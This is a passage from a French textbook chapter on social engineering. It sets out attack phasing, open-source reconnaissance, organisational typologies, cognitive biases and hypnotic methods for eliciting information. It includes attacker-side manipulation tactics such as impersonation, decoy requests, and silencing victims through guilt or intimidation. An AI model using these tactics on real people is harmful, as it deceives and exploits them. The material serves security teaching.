n’est pas un ordinateur, et que, pour des raisons à la fois d’efficacité et d’éthique, les failles
humaines doivent être traitées de manière humaine, c’est-à-dire en prenant en compte l’ensemble
des facteurs humains. Si l’on souhaite insister sur l’aspect "hacking éthique", cette mise au point
n’est peut-être pas inutile.
Soyons clairs : l’attaque par ingénierie sociale est un piratage, c’est-à-dire une action malveillante,
illégale et risquée. Il est donc possible de considérer que les principes généraux de la guerre (ou de la
théorie des jeux) s’y appliquent.
Ainsi, l’ingénierie sociale s’appuie d’abord sur certains principes constants, parfois partagés avec
d’autres formes d’intrusions, et qu’il est difficile de classer.
Le premier est peut-être, pour l’attaquant, la conservation de la liberté d’action, ce qui implique
discrétion et gestion des risques. Bien que peut-être évident pour certains, il mérite d’être rappelé,
car il conditionne l’ensemble de la manœuvre d’ingénierie sociale. Il est en effet essentiel pour
l’ingénieur social, qui récupère des informations très souvent destinées à être utilisées
ultérieurement, que son action ne soit pas détectée, surtout avant l’exploitation des informations. Il
s’attachera donc particulièrement à rester invisible le plus longtemps possible, discret dans ses
méthodes et capable si possible de camoufler ses traces a posteriori.
Citons ensuite le principe de "l’unité de commandement" évoqué dans les principes de la guerre. Il
s’agit souvent d’un élément clé d’une opération et il s’applique en ingénierie sociale. Cela veut dire
que, dans le cas d’un travail d’équipe, des processus décisionnels clairs et adaptés devront être mis
en place. S’il est des cas où l’avis de tous sera utile, chacun doit savoir qui décide et donne des ordres
en cours d’action.
L’économie de moyens est un autre principe général important. En effet, le choix de l’ingénierie
sociale comme mode d’action est souvent dû à une volonté d’économie ou à un manque de
ressources (financières, techniques ou humaines). Cette volonté d’économie implique la simplicité et
la possibilité de réutilisation ou d’industrialisation des modes d’action.
L’apparente complexité que nous constaterons dans la préparation d’une opération d’ingénierie
sociale réside essentiellement dans la prise en compte de multiples facteurs de succès et de risques
Restrict
ed
divers et changeants. Elle ne doit pas être antinomique avec la simplicité qui doit prévaloir dans la
mise en œuvre et qui est un pendant naturel du principe d’économie des moyens.
La recherche de l’effet levier est quant à lui le premier principe propre à l’ingénierie
sociale. Popularisé par Kevin Mitnick, l’effet levier peut se définir comme le renforcement de la
capacité à agir sur les failles humaines et organisationnelles, obtenu grâce à la collecte préalable
d’informations pertinentes. Il peut être la conséquence de la valeur d’une information particulière
seule ou dû à la mise en cohérence d’informations multiples apparemment anodines mais apportant
une compréhension globale ou une vue d’ensemble utilisable du système cible. C’est-à-dire que
certaines informations apparemment anodines portées à la connaissance d’ingénieurs sociaux
imaginatifs pourront potentiellement être utilisées comme point d’appui pour en obtenir d’autres
plus sensibles. Ils pourront ensuite, de proche en proche, accéder à d’autres informations leur
donnant des leviers sur l’organisation ou les personnes. En particulier, toute information sur
l’organisation, ses processus, ses codes, son jargon, peut être exploitée.
Cette recherche d’effet levier induit un nécessaire phasage de l’action comportant en premier une
collecte préalable d’informations très larges. Ce ne sera qu’après étude de ces informations et une
préparation optimum qu’on pourra se lancer dans les phases plus risquées.
Rappelons que, contrairement à l’image popularisée dans la littérature, une attaque par ingénierie
sociale ne fera que rarement l’économie d’une planification.
Ainsi, le déroulement décrit ici est un rappel des étapes essentielles par lesquelles il est nécessaire de
passer lorsque l’on monte une opération d’intrusion ciblant des failles humaines. Il permettra, d’une
part, de se mettre dans la peau de l’attaquant, et il donnera, d’autre part, une idée assez claire du
panel de compétences et de connaissances nécessaires à l’ingénieur social.
Bien sûr, cela ne doit pas aller à l’encontre du principe de simplicité. Si les délais ne permettent pas
une analyse détaillée, les étapes du processus peuvent toujours être réduites à leur plus simple
expression, c’est-à-dire une case de check-list à cocher. Il serait toutefois dommage de rater une
étape décisive par négligence et non par choix.
Notons que le cycle classique du renseignement se construit autour de quatre grandes étapes :
l’orientation, la recherche, l’exploitation et la diffusion.
Toutefois, dans le cadre de l’ingénierie sociale, nous proposerons plutôt un phasage en trois parties,
étude, préparation et exploitation, qui correspondent essentiellement à des étapes irréversibles en
termes de risques pris et au niveau de protection de l’information recherchée.
a. Étude préalable
Comme tout projet, une intrusion par ingénierie sociale commence par une idée, une opportunité,
en l’occurrence souvent la découverte inopinée d’une faille ou d’un gain potentiel.
Restrict
ed
À ce stade, l’intention sera encore vague et l’opération devra commencer par une étude préalable
incluant certaines étapes qui permettront d’en affiner le périmètre.
Chacune pourrait s’avérer importante et aucune ne devrait être totalement éludée, même si elles
pourront parfois être réduites à la plus simple expression et devront de préférence être peu
consommatrices en ressources.
Pour l’ingénieur social, l’information revêt un caractère central. C’est à la fois sa matière première,
son outil et son produit. Il la récolte, la travaille, l’étudie, et en tire la substance qui lui permettra
d’obtenir son effet levier sur les humains afin d’obtenir in fine l’information recherchée. Comme le
chercheur d’or, l’ingénieur social devra passer au tamis un grand nombre d’informations avant d’en
tirer une pépite.
Avouons-le, c’est souvent autant poussé par la curiosité et l’appel de l’aventure que par le
pragmatisme que l’ingénieur social va se lancer dans la recherche préalable d’informations
"blanches", pour reprendre une appellation venue du milieu du renseignement.
Nous appellerons "informations blanches" celles qui sont disponibles avec peu de recherche sur
différents médias ouverts et qui ne sont pas considérées a priori comme confidentielles ou sensibles.
De nos jours, c’est bien sûr Internet et les divers moteurs de recherche ou outils d’intelligence
économique qui auront la préférence de l’ingénieur social dans cette collecte préliminaire
d’informations blanches. Les sources sont diverses et riches.
Citons entre autres, à titre d’exemple et dans le désordre : les sites d’entreprise, le registre du
commerce, les sites d’information et agences de presse, les réseaux sociaux professionnels et privés,
mais aussi la presse papier, les conférences de presse, les organigrammes affichés dans les halls
d’entrée d’immeubles, les publications papier, plaquettes de présentation ou supports multimédias
de communication publiés par l’organisation cible.
Même s’il sera à ce stade souvent nécessaire de traiter différemment les informations récoltées par
investigation et celles communiquées officiellement, les deux types peuvent receler quantité de
renseignements utilisables.
La collecte d’informations devra être large et rapide. L’expérience aidera, bien sûr, à
sélectionner parmi la masse des données collectées à cette étape celles qui donneront des éléments
décisionnels pertinents pour faciliter l’étude d’opportunité et de faisabilité qui en découlera.
En particulier, il pourra être utile à ce stade d’obtenir, en fonction de la cible, des indications
permettant d’estimer au mieux les bénéfices possibles, les contraintes, les risques, la maturité de
l’entreprise en termes de protection contre les intrusions, etc.
Faisabilité et opportunité
Une fois la collecte avancée, une étude d’opportunité et de faisabilité plus détaillée pourra
commencer. Il sera alors nécessaire de se poser certaines questions permettant de décider du
lancement de l’opération. Même dans une opération courte, il est utile que cette étude soit
documentée, fût-ce succinctement, sur les points suivants.
Restrict
ed
La question de la vulnérabilité et de la maturité de la cible va alors se poser en premier. Le travail va
porter sur la première détection de failles, l’évaluation initiale de la protection, et le procédé
potentiel à employer. Avoir à ce stade la connaissance d’éventuelles attaques qu’aurait subies
l’organisation antérieurement donnera des éléments significatifs concernant les vulnérabilités et les
modes d’action défensifs probables.
Le style d’organigramme, les modes de fonctionnement, les processus peuvent commencer à être
examinés.
Enfin, il peut s’avérer utile de disposer d’une liste des interlocuteurs institutionnels de l’organisation
(fournisseurs, clients, etc.).
Bénéfices attendus
Un ingénieur social travaille parfois pour acquérir de l’expérience ou se divertir. Toutefois, il s’agit de
bénéfices connexes possibles mais qui justifieront difficilement à eux seuls de se lancer dans une
intrusion. Il est donc nécessaire à ce stade de faire le point sur ce que l’on attend réellement comme
bénéfices.
Encore plus que pour tout autre projet, les contraintes doivent être clairement documentées avant
de décider du lancement en toute clarté. Typiquement, les contraintes financières, légales et morales
doivent être évoquées.
Le mot "risque" est revenu souvent depuis le début de ce chapitre. Il semble donc naturel que
l’analyse de risque soit un point de passage obligatoire lors de la préparation.
La norme ISO 27001 définit le risque comme la combinaison de la probabilité d’un événement et de
ses conséquences. C’est sur cette base que l’analyse de risque doit être élaborée, d’ailleurs autant du
côté de l’ingénieur social que du côté de la défense.
Bien qu’elle ait une utilité très claire, il est rare que ce genre d’analyse soit maintenue en continu.
Quoi qu’il en soit, il sera toujours bienvenu de maintenir un niveau d’attention sur l’évolution ou la
réévaluation du risque en cours d’action en se créant des indicateurs d’alertes (temps passé, coûts,
risques, bénéfices potentiels).
La réutilisation peut être à la fois la force et la faiblesse de l’ingénierie sociale. Certes, les ingénieurs
sociaux les plus connus se prévalent de renouveler leurs méthodes à chaque nouvelle attaque. Cette
pratique, outre le fait d’avoir plus de panache, donne l’avantage de la surprise. Mais la plupart du
temps, à situation similaire, une technique qui a fonctionné une fois a de bonnes chances de
fonctionner à nouveau.
Restrict
ed
Quels seront nos objectifs intermédiaires (informations "grises") ?
Lancement et préparation
b. Préparation
Nous abordons alors la phase où l’on commence à investir plus de ressources dans le projet. Il ne
s’agit pas de présenter ici un cours complet de stratégie opérationnelle, mais simplement de rappeler
qu’une action de ce type ne peut pas faire l’économie d’un plan, et d’en rappeler les principales
étapes.
On étudiera donc en détail les différentes possibilités de failles et de méthodes d’attaque que l’on
mettra en regard des modes de défense possibles et des réactions probables.
On pourra commencer à choisir les cibles potentielles et si possible on les étudiera et les typera. On
déterminera précisément le type de langage à utiliser en fonction de chaque cible ou type de cible et
celui de chaque stratagème.
On établira des scripts détaillés avec des scénarios de contournement pour chaque type de cibles
avec lesquelles il y aura une prise de contact.
Il s’agit de répondre en amont aux questions qui, quoi, pourquoi, comment, où, quand, avec qui,
contre quoi, quoi d’autre.
Même si les étapes précédentes sont écourtées, la répétition générale reste primordiale afin de
détecter certaines faiblesses potentielles de l’attaque, de se préparer mentalement et
émotionnellement, et de vérifier que l’on a tous les éléments nécessaires à portée de main.
Même si une répétition détaillée est souhaitable, dans certains cas, se répéter une fois à haute voix
sa phrase d’accroche peut déjà permettre de rentrer dans son personnage et de gagner en assurance
et en crédibilité.
Restrict
ed
La préparation consistera à se mettre dans l’ambiance et dans la peau du personnage que l’on va
jouer. Les diverses méthodes de relaxation ou de concentration peuvent ici avoir leur utilité.
Elle servira à mémoriser au maximum les textes, à tester les scénarios avec, si possible, quelqu’un
jouant les diverses réactions possibles des cibles.
Canevas et aide-mémoire
Au moment de la phase de contact, le dialogue doit être fluide et précis. Avoir mémorisé un
maximum d’éléments sera une bonne chose, mais, pour faire face rapidement à la nécessité
d’improviser, il sera très utile de disposer à portée de main d’un maximum d’aide-mémoire,
glossaires de jargon et autres organigrammes...
c. Exploitation
L’exploitation correspond au moment où les informations de valeur vont être obtenues. Cette phase
n’est pas nécessairement linéaire et peut comporter autant de boucles que nécessaire.
Le contact avec la source est bien évidemment le moment essentiel de l’attaque d’ingénierie sociale.
C’est à ce moment que le risque est maximum et que toute erreur pourra conduire à la
compromission du projet. Le téléphone est souvent utilisé (cf. exercice Cas particulier du téléphone)
mais le principe reste identique pour tout autre mode de contact. Le facteur le plus variable en
fonction des supports techniques choisis sera la temporalité, mais les principes de base resteront
inchangés.
On peut aussi découper cette partie en trois phases d’importances égales que nous décrirons ici sans
rentrer dans le détail des techniques que nous verrons ultérieurement (cf. section Failles humaines :
bases et modèles théoriques).
Approche
On se situe ici au cœur de la manipulation, là où les requêtes seront faites. C’est bien évidemment le
moment le plus délicat.
Idéalement, cette phase sera la plus courte possible pour en faciliter le camouflage.
La requête cible pourra parfois, en fonction des techniques utilisées, être dissimulée au milieu
d’autres requêtes sans objet réel.
Camouflage final
Une information ne sera valide que tant que l’attaque n’a pas été détectée. Le camouflage final est
donc une phase indispensable pour conserver la liberté de manœuvre nécessaire à l’exploitation des
informations.
Restrict
ed
Il s’agit d’une part de faire en sorte que l’extraction de l’information ne reste pas prégnante dans la
mémoire de la victime. Les biais cognitifs de la mémoire (cf. section Failles humaines : bases et
modèles théoriques) trouveront ici une grande utilité. Rappelons aussi qu’il existe des méthodes
hypnotiques qui provoqueront ou faciliteront l’amnésie.
Lorsque les chances que la victime garde en mémoire le moment de l’élicitation sont importantes,
plusieurs techniques sont alors à disposition.
Tout d’abord, la requête formulée de garder le silence, si elle est conduite suivant les règles et
techniques de manipulation, est une solution valide. Un simple "Ça reste entre nous" peut souvent
fonctionner si les bons éléments ont été mis en place. Toutefois, la question du rapport
risques/bénéfices de cette requête se posera. En effet, elle pourrait tout autant éveiller l’attention de
la cible si elle est mal exécutée. La décision se prendra grâce à la lecture des feedbacks.
Elle peut être appuyée par différents ressorts comme la culpabilisation ou l’intimidation, qui peuvent
permettre de ne pas avoir à formuler la requête de silence : "On a un peu contourné le règlement
mais on a fait avancer les choses. Merci beaucoup" rappelle à la victime qu’il pourrait y avoir des
conséquences à ses actes s’ils venaient à être connus et joue le rôle d’une requête tacite.
C’est une étape classique du renseignement, il est en effet nécessaire de s’assurer le plus rapidement
possible de la validité des informations. Le recoupement est une méthode couramment utilisée qui
consiste à obtenir la même information par différentes sources. Elle est toutefois consommatrice de
ressources, et en ingénierie sociale l’information est le plus souvent simplement immédiatement
exploitée ou diffusée à son commanditaire.
En voyant ce déroulement type, il semble que l’ingénieur social doive être compétent dans de
nombreuses spécialités telles que le management, le "data mining", la sociologie, la psychologie ou
encore la comédie.
En fait, nul besoin pour l’ingénieur social d’être un expert accompli de chacune des matières. Il doit
simplement disposer des bons outils et de quelques techniques simples, efficaces et pragmatiques
dans certains domaines importants.
Les parties suivantes sont consacrées aux autres compétences, c’est-à-dire la connaissance des
organisations et des failles humaines, des techniques de manipulation, de subterfuges et de lecture
de feedbacks.
Restrict
ed
Un des prérequis pour se lancer dans une attaque d’ingénierie sociale est d’être complètement à
l’aise avec la notion de subterfuge. C’est-à-dire qu’il faut avoir intégré, rationalisé si nécessaire, et
mis en cohérence les raisons de l’action. Sans cette cohérence, le risque de se trahir inconsciemment
ou de ne pas être crédible sera sensiblement augmenté.
Un autre domaine de compétence à mettre en œuvre est celui du jeu d’acteur et de la mise en scène.
Être capable de jouer la comédie peut en effet s’avérer crucial.
b. Lecture de cible
Un autre domaine qu’il serait difficile de décrire en détail ici est celui de la lecture des cibles
humaines. Les techniques de manipulation que nous aborderons s’appuient sur des données
statistiques et fonctionnent souvent sur le plus grand nombre.
Toutefois, la capacité à typer les individus, nous pourrions même dire à les stéréotyper, de manière
pertinente sera toujours un plus. Elle permettra d’adapter la méthode, de choisir les leviers et
d’optimiser les techniques utilisées.
L’idéal dans ce domaine est de posséder un modèle de typage que l’on s’est bâti et que l’on a
expérimenté. Kevin Mitnick, par exemple, dans son livre "The Art of Intrusion", montre comment
distraire ceux qu’il nomme older guys, out of shape guys, and living-with-mum guys en évoquant un
proche rendez-vous qu’il aurait avec une jolie fille.
Un dernier domaine dans lequel l’ingénieur social devra posséder des outils est la
lecture de feedbacks. La notion de feedback est essentielle dans la théorie de la communication. Cela
permet de disposer d’indicateurs quant à l’efficacité de son message et de son influence.
Ces retours d’information pourront être de différentes natures : verbaux, non verbaux, posturaux,
etc. Il existe des études et des modèles qui dépassent là encore le cadre de ce chapitre mais nous
conseillons la lecture d’ouvrages sur le sujet tels que ceux de Paul Eckman ou de Philippe Truchet.
Restrict
ed
Connaissance des organisations attaquées
Pour élaborer une stratégie, détecter les failles dans l’organisation, communiquer sur le bon registre
de langage, en utilisant le bon jargon, ou appréhender les processus internes, l’ingénieur social doit
se bâtir un modèle pertinent de l’organisation qu’il cible.
Cette analyse sera donc un atout précieux dans l’élaboration, la préparation et la mise en œuvre
d’une stratégie d’approche pertinente.
Elle permettra par exemple de se faire passer plus facilement pour quelqu’un ayant de bonnes
raisons de prendre contact et de demander des informations (membre du personnel, client,
fournisseur, société de maintenance, partenaire, etc.).
Il est en effet important de comprendre qu’il existe dans n’importe quelle organisation humaine des
éléments culturels qui se transmettent de proche en proche. Cela a pour conséquence une
cohérence importante dans les groupes en termes de valeurs, de croyances, de manières, de
langages, de comportements.
Ainsi, on ne communique pas de la même manière avec, par exemple, un cadre d’une multinationale,
un employé municipal ou le bénévole d’une association caritative.
Le lecteur intéressé pourra lire sur le sujet de nombreux ouvrages consacrés notamment à l’approche
mémétique permettant de modéliser ces phénomènes.
La mémétique est une science jeune mais qui permet d’expliquer de nombreux phénomènes. Elle
s’appuie sur la notion de mème (Richard Dawkins, The Selfish Gene, 1976), qui est un élément d’une
culture ou d’information se transmettant de cerveau en cerveau par des moyens non génétiques, en
particulier par l’imitation. Les théories émergentes liées à la mémétique sont souvent passionnantes,
mais il n’est pas utile de les connaître en détail. Elles permettent toutefois souvent d’appréhender de
manière efficiente les phénomènes comme la pensée de groupe, les métavaleurs ou les croyances.
L’ingénieur social pourra donc utilement s’intéresser aux aspects mémétiques, sociologiques et
comportementaux liés aux groupes et aux organisations humaines. Que ces éléments soient
communs à toute une organisation ou propres à une niche ou un service, il appartient à l’ingénieur
social de les repérer et d’évaluer leur utilité.
Il n’existe bien sûr pas de modélisation optimale et adaptée à toutes les situations. Toutefois, nous
proposerons une typologie et des modèles qui nous paraissent allier simplicité et efficacité.
1. Typologies générales
La première typologie d’organisations à laquelle on doit penser est certainement celle basée sur leurs
finalités.
De ce point de vue, on peut considérer trois grands types d’organisations : les associations, les
entreprises et les administrations, chacune pouvant être découpée en différents sous-types que nous
ne détaillerons pas ici.
Cette distinction simple conditionnera naturellement les valeurs du groupe et donc celles de ses
membres de manière assez claire. On peut admettre par exemple qu’en général, les administrations
auront pour but de servir le public ou l’État, les entreprises de faire du profit ou de subsister, et les
associations auront des buts ludiques ou politiques. Bien sûr, il ne faudrait pas pour autant exclure
des cas particuliers et ces éléments seront à analyser pour préparer les prises de contact humaines.
Restrict
ed
Il faudra ensuite prendre en compte d’autres éléments tels que la taille, le morcellement
géographique, les éventuelles branches, le découpage en services particuliers, chacun des éléments
pouvant constituer autant des niches culturelles.
Au-delà de ce premier classement factuel, s’ouvre pour l’ingénieur social le vaste domaine des
valeurs et des croyances. Toutefois, un chapitre entier ne suffirait pas pour les étudier en détail. Nous
proposerons une vue simplifiée inspirée du modèle nommé "spirale dynamique".
Ce niveau d’approximation reste suffisant pour aider efficacement à choisir le style, le niveau de
langage et les thématiques abordées lors d’une prise de contact.
Nous engageons les lecteurs curieux à s’intéresser à ce modèle et à former leur propre opinion quant
à son utilité dans le cadre de l’ingénierie sociale aux sens restreint et général.
Précisons d’abord un axiome de la théorie selon lequel, en général, les modes d’organisation, les
valeurs, les croyances ont tendance à se développer et à se regrouper en paradigmes cohérents, des
systèmes consistants de croyance, valeurs et comportements qui ont tendance à garder des
structures identiques. Ce sont ces structures méta-mémétiques que l’on nommera niveau de
conscience de la réalité et qui produiront le classement des organisations qui nous intéressent
concrètement.
Il est délicat d’apposer un mot pour réduire des systèmes complexes de métavaleurs et de croyances.
Toutefois, dans le but d’une utilisation pragmatique par un ingénieur social, nous proposons la
typologie d’organisations suivante.
Chaotique
Citée pour mémoire, il s’agit d’un niveau sans réelle organisation et sans aucune cohérence. Il n’est
donc pas directement exploitable. En fait, et heureusement, il n’existe pratiquement jamais dans la
réalité car même une foule hétérogène peut très rapidement trouver une cohérence de type
clanique.
Clanique
L’organisation tribale ou encore familiale, que l’on retrouve plutôt dans des organisations de petite
taille ou des sous-groupes d’organisations de plus grande taille. On y valorise l’ancienneté, le respect
des rituels et des manières de faire traditionnelles.
Le vocabulaire et le niveau de langage qui y sont favorisés sont ceux de la famille, du clan, de la
tradition et du respect de l’ancienneté.
Tyrannique
Il s’agit d’une organisation gouvernée par un chef ayant une autorité indiscutée. On y valorise la
force, l’honneur, l’héroïsme individuel, la mise en avant des qualités individuelles, la réussite
personnelle. Ses membres vivent dans l’instant présent ou le court terme sans penser aux
conséquences de leurs actes.
C’est sur ce registre-là qu’il faudra parler. On rencontre ce niveau de valeurs au niveau des groupes
mafieux, de certaines unités militaires ou paramilitaires, de bandes de rues, ou chez les pirates.
Restrict
ed
Hiérarchique
Les valeurs sont féodales, chacun connaît sa place dans une hiérarchie qui est une science exacte. La
hiérarchie, l’ordre, la loi, les croyances, l’obéissance sont des valeurs importantes. Leurs membres
vivent dans l’espérance de toucher plus tard les bénéfices d’avoir joué suivant les règles.
On en rencontre dans les administrations, les organisations militaires, les églises, les partis politiques,
certaines grandes entreprises, les institutions en général.
Productiviste
C’est un mode d’organisation moderne dans laquelle chacun est libre de saisir sa chance pour se
créer une vie plus confortable. La vérité vient de la validation par l’expérience de type scientifique.
On y valorise la liberté individuelle, la compétition, l’opportunisme, le pragmatisme, le travail,
l’élitisme, l’efficacité, les projets, l’économie, l’autonomie et l’initiative individuelle, l’argent,
l’apparence.
On le rencontre dans le monde de la finance, les commerçants, les start-up, chez les équipes
sportives. On y parle facilement d’argent, de réussite sociale, d’opportunité, de liberté.
Harmonieux
Dans les organisations atteignant ce niveau de vision du monde, les gens sont censés s’être libérés
des dogmes et de la cupidité propre aux deux niveaux précédents. Les valeurs sont communautaires,
égalitaires et consensuelles. Inutile donc de préciser que les organisations faisant plus que seulement
afficher cela sont extrêmement rares, pour ne pas dire inexistantes.
En revanche, on constatera de nombreux cas où ces valeurs sont mises en avant le plus souvent par
des organisations "productivistes" pour des raisons de communication ou de promotion.
Bien que ce genre de valeurs progresse et que dans certains cas elles puissent effectivement être
solidement ancrées dans certaines organisations militantes, des associations, ou plus rarement des
entreprises, il sera toujours bon d’évaluer leur profondeur réelle.
Il existe d’autres niveaux qu’il peut être intéressant d’étudier, mais ils sont trop rares pour avoir une
utilité en ingénierie sociale à l’heure actuelle.
Il faut en particulier garder à l’esprit que l’on trouve le plus souvent dans une organisation ou chez un
individu sain les paradigmes décrits ci-dessus, imbriqués à la manière de poupées russes. Et il est
aussi possible de trouver des niches émergentes ou dissonantes à l’intérieur même d’une
organisation. Par exemple, des niches claniques ou productivistes peuvent souvent être observées au
sein de grandes entreprises hiérarchiques.
Rappelons que le modèle complet est complexe et multidimensionnel, et mérite une étude
approfondie à lui tout seul. Mais c’est le cas de nombreux autres modèles dont l’ingénieur social
peut soit extraire uniquement les outils pratiques, soit étudier plus en détail la théorie.
L’intérêt du modèle est sa grande validité et sa consistance qui permet de facilement déterminer le
niveau d’organisation d’un groupe en cohérence avec son paradigme dominant. Le travail de
l’ingénieur social est alors grandement facilité.
Restrict
ed
Les certifications d’une entreprise ont l’avantage certain d’être faciles à trouver car elles font partie
des éléments de langage mis en avant dans leur communication. Il est donc tentant de chercher à en
tirer des informations concernant l’organisation.
Il faut noter que la typologie des valeurs et des croyances exposées ci-dessous est à
distinguer formellement de celle de la qualité ou des modèles de maturité. Les modèles de maturité
mesurent l’optimisation des processus et la démarche de l’amélioration continue.
Il existe plusieurs systèmes de mesure valides permettant de classer les organisations selon leur
niveau de maturité ou de qualité, tels que CMMi, P3M3, SMP2.
Par exemple, CMMi distingue cinq niveaux de maturité : chaotique, défini, organisé, géré, optimisé.
L’intérêt de ces modèles pour l’ingénieur social réside autant dans la certification de l’organisation
que dans leur mise en œuvre réelle. Certes, les certifications peuvent parfois être des indicateurs
concernant le professionnalisme avec lequel les processus ont été définis et outillés dans
l’organisation concernée. Ils sont toutefois loin d’être infaillibles.
Il est courant de constater que des organisations multiplient les certifications dans un objectif
d’image et non d’amélioration. Ainsi l’affichage de nombreuses certifications souhaite transmettre
une image de qualité.
Il faut noter que la démarche qualité et le niveau de maturité d’une organisation sont à distinguer
dans l’absolu de la typologie de valeurs et de croyances définie à la section précédente. Toutefois, il
sera toujours intéressant de mettre en regard ce que l’affichage de certaines certifications qualité ou
niveau de maturité nous disent quant au paradigme dominant d’une organisation.
4. Exploitation
Ainsi, avant même de disposer du jargon et des codes propres à la cible, il sera très utile,
éventuellement même lors de la première phase de recherche d’informations, d’aborder chaque
organisation avec le bon type de langage, avec le bon style, les bons mots, de créer la connexion sur
le bon sujet, en jouant sur les bonnes valeurs et en exploitant les bonnes croyances.
Ces connaissances seront aussi un atout précieux dans la détection des failles organisationnelles.
5. Exercices
En choisissant plusieurs organisations très différentes que vous connaissez, rédiger une fiche
récapitulative pour chacune, en indiquant les divers éléments permettant de les typer avec si
possible les éléments suivants :
Éléments géographiques.
Taille, localisation.
Restrict
ed
Points d’entrée/sortie du système d’information.
Restrict
ed
Failles humaines : bases et modèles théoriques
"Parce que si je voulais me lancer dans la psychanalyse, j’ajouterais que c’est le roi des cons."
Bernard Blier, "Le Cave se rebiffe" (1962), écrit par Michel Audiard
Il semble légitime de se poser la question : "L’ingénieur social doit-il s’intéresser aux modèles
théoriques expliquant les failles humaines ?"
La réponse est, pour ce qui nous concerne : "Sans aucun doute, au moins dans les grandes lignes."
En effet, d’une part, il sera toujours plus facile de mettre en œuvre des techniques lorsqu’on en
connaît les ressorts ; d’autre part, il est aussi surtout plus facile de s’en protéger.
Toutefois, il n’est pas nécessaire d’avoir un doctorat de psychologie pour être un ingénieur social
efficace. Disposer de modèles valides de psychologie sociale et différentielle ne pourra être qu’un
plus, ils devront avant tout rester simples.
Et bien sûr, il sera utile de connaître les méthodes de manipulation, qui seront le cœur de l’élicitation
de l’information.
Sans vouloir tomber dans le déterminisme biologique, il est très souvent utile pour l’ingénieur social
d’utiliser des modèles comportementaux. Ceux-ci s’appuient souvent sur l’expérience, ou sur des
approximations que beaucoup de scientifiques jugeraient inexactes, mais qui rendent service et
remplissent la mission qu’on leur demande : fournir des modèles prédictifs pertinents.
Le premier modèle qui peut s’avérer utile est celui du cerveau "triunique". Certes, ce modèle sera
jugé dépassé par de nombreux professionnels, mais il est suffisamment valide pour comprendre le
fonctionnement des ressorts de manipulation essentiels.
Pour résumer cette théorie, nous dirons simplement qu’elle admet comme prémisse que le cerveau
humain assure trois grands types de fonctions et qu’il existe une certaine unité de traitement pour
chacune de ces fonctions, que nous appellerons centres.
Ainsi, le centre instinctif assurera les fonctions vitales, reproductrices et sociales primaires.
Le centre mental, quant à lui, servira à assurer les fonctions logiques, comprendre, anticiper, créer de
la cohérence, chercher des causalités, concevoir des modèles abstraits et élaborer des stratégies
pour s’adapter au monde.
Ces trois centres sont censés fonctionner en harmonie en assurant un équilibre entre eux. Lorsque
cet équilibre est rompu, il devient aisé de détourner leurs fonctionnalités et de les leurrer.
En effet, l’action combinée des sélections naturelle, sexuelle et culturelle a produit au cours de
l’évolution chez l’homme un cerveau surdéveloppé, extrêmement performant, rapide, résilient et
parfaitement adapté à son environnement initial. Mais ce cerveau est consommateur en ressources
et uniquement optimisé pour traiter les situations courantes. Il est donc à l’aise avec les données
Restrict
ed
d’ordre habituel rencontrées dans l’environnement qui a favorisé son développement. En revanche,
il sera souvent mis en défaut dès que l’on sortira de sa zone de confort.
Nous traitons facilement les nombres que nous pouvons visualiser, les grandeurs sensibles, les
températures moyennes ou les problèmes mécaniques ou géométriques courants, mais nous avons
des difficultés à appréhender intuitivement les valeurs très grandes, très petites, ou simplement hors
de notre domaine de traitement.
Nous utilisons donc de préférence des méthodes économiques et rapides de prise de décision : des
heuristiques, raccourcis, "intuitions", qui auront elles aussi un domaine d’efficacité limité.
Dès que nous sortons de la plage normale de ces capacités cognitives, notre cerveau perd
sensiblement en efficacité et peut facilement se laisser leurrer, abuser, confondre, distraire ou
manipuler.
Ainsi, le traitement par le cerveau humain comporte de nombreux défauts naturels, des biais
cognitifs qui constituent autant de failles exploitables.
2. Biais cognitifs
Il existe de très nombreux biais cognitifs et le classement suivant ne se veut pas exhaustif. Toutefois
sont présentés ici les biais qui nous semblent les plus faciles à mettre en œuvre et les plus utiles en
termes de possibilité d’influence et de subterfuge.
Contrastes, illusions, comparaisons, très grandes ou petites valeurs permettront de tromper la cible
en provoquant de mauvaises estimations de la situation et permettant de présenter des éléments
factuels dans un sens plus avantageux.
Les biais de mémoire sont fondamentaux car ils permettent d’une part, comme les biais de
perception, de recadrer certaines informations en les rendant plus prégnantes ou plus avantageuses.
Ils permettent aussi de favoriser une amnésie relative concernant les événements à camoufler.
Ils sont systématiquement utilisés dans les techniques de manipulation. Citons ici la création de faux
souvenirs, la primauté, la récence, l’avantage au connu.
C’est une source d’erreur très importante qui couvre de nombreux phénomènes différents. Ils sont
fondamentaux car ils engendrent des jugements établis de manière essentiellement émotionnelle et
heuristique mais rationalisés. Ces biais permettent souvent d’en renforcer d’autres grâce par
Restrict
ed
exemple aux erreurs liées à l’expertise connexe, l’autoévaluation ou les taches aveugles (tendance à
mal discerner ses propres biais cognitifs).
On pourrait penser qu’il est utile dans la prise de décision elle-même, mais en termes d’influence il
est souvent préférable que les décisions soient prises avant que le raisonnement n’intervienne. Le
raisonnement biaisé peut alors être utilisé pour faire accepter la décision a posteriori.
Toutefois, ce sont des biais qui engendrent des comportements extrêmement stables et il est
toujours possible de leur trouver des applications pratiques.
Citons pour mémoire les biais de raisonnement les plus utiles à l’influence : la cohérence artificielle,
la dissonance cognitive, les phénomènes liés à l’engagement, et le besoin de schéma logique, le biais
de disponibilité de l’information.
Enfin, il existe des biais liés à la personne elle-même. Ainsi, en s’appuyant sur certains modèles de la
psychologie différentielle, l’ingénieur social peut se bâtir des outils pour exploiter les biais dus par
exemple aux différences de caractère, à la culture, à la langue, ou à tout autre filtre cognitif ou social.
3. Méthodes hypnotiques
Les méthodes hypnotiques méritent d’être mentionnées ici. Utilisées depuis longtemps par les
shamans, les gurus ou les publicitaires, elles s’appuient sur l’existence de divers états de conscience
modifiés allant de la rêverie à la transe lourde.
Certains de ces états de conscience peuvent permettre un accès direct à l’inconscient. Les possibilités
liées aux méthodes hypnotiques sont extrêmement vastes. Avec ces compétences, il est du domaine
du possible d’induire des émotions ou des sensations physiques, d’ancrer ou de faire disparaître des
croyances, des goûts ou des phobies, ou encore de créer ou d’effacer des souvenirs.
Toutefois, dans le cas de l’ingénierie sociale, les techniques utilisables ne feront pas appel à des
transes lourdes et spectaculaires mais plutôt à des changements d’état peu détectables qui auront
des effets facilitateurs de suggestions et de manipulations.
Il existe de nombreux ouvrages sur le sujet pour le lecteur qui souhaiterait approfondir le domaine.
Sans rentrer plus dans les détails d’un sujet complexe, il est toutefois nécessaire de connaître les
facteurs facilitant les transes hypnotiques. Nous citerons pour mémoire la saturation mentale,
l’usage du contraste, les répétitions, les ancrages émotionnels, la surcharge des sens, la focalisation,
